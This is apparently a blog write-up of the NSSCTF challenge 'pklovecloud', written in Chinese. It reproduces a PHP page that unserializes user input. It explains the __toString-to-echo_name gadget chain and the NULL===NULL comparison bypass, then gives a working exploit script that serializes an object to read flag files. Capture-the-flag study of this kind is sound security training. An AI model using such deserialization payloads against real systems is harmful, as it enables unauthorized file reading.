NSS [第五空间 2021]pklovecloud

简介: NSS [第五空间 2021]pklovecloud

NSS [第五空间 2021]pklovecloud

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

本题考查反序列化,关键是绕过这里

if($this->openstack->neutron === $this->openstack->nova)

绕过方式是使用NULL===NULL

由于这里

$this->openstack = unserialize($this->docker);

当docker为空时,this->openstack自然为空对象,则$this->openstack->neutron === $this->openstack->nova两侧都为null自然可绕过。

测试

<?php

$a="";
$b=unserialize($a);
var_dump($b);//bool(false)
var_dump($a->sss);//报异常并返回null
var_dump($a->ttt->xxx===null);//bool(true)
?>

链子:echo->acp::toString()->ace::echo_name()

exp:

<?php
class acp 
{   
    protected $cinder;  
    function __construct() 
    {      
        $this->cinder = new ace;   //有修改
    }  
 
}  
class ace
{    
    public $filename="flag.php";     //之后改成../nssctfasdasdflag
    public $openstack;
    public $docker; 
}  
$jay17 = new acp();
echo urlencode(serialize($jay17));

被骗了,flag在 …/nssctfasdasdflag

目录
相关文章
|
3月前
|
开发工具 数据安全/隐私保护 git
NSS [第五空间 2021]WebFTP
NSS [第五空间 2021]WebFTP
44 0
|
3月前
|
存储 监控 算法
在Linux中,什么是交换空间?
在Linux中,什么是交换空间?
|
3月前
NSS [MoeCTF 2022]ezphp
NSS [MoeCTF 2022]ezphp
34 0
|
3月前
NSS [MoeCTF 2022]ezhtml
NSS [MoeCTF 2022]ezhtml
34 0
|
5G Shell
Jetson-Nano对Swap交换空间进行增加和删除
Jetson-Nano对Swap交换空间进行增加和删除
429 0
Jetson-Nano对Swap交换空间进行增加和删除
|
固态存储 Linux 内存技术
浅析PCI配置空间
每个Function都有一个大小为4KB的configuration space。在系统上电的过程中,在枚举整个PCI Bus之后,就会将所有的BDF的configuration space读到Host内存中。在Host内存中有一个大小256MB的Memory Block, 专门用来存放所有的configuration space.
|
Linux
Centos: 磁盘空间分配,将home空间分配给root
Centos: 磁盘空间分配,将home空间分配给root
1123 0
Centos: 磁盘空间分配,将home空间分配给root
|
Linux
linux配置交换空间
linux配置交换空间
208 0
|
C++ Linux
Arm-kernel 内存收集【转】
转自:http://blog.csdn.net/linyt/article/details/6627664 Linux kernel的内存管理子系统非常复杂,为了深入了解内存管理系统,我打算分多篇文章来分析linux内存管理。
1097 0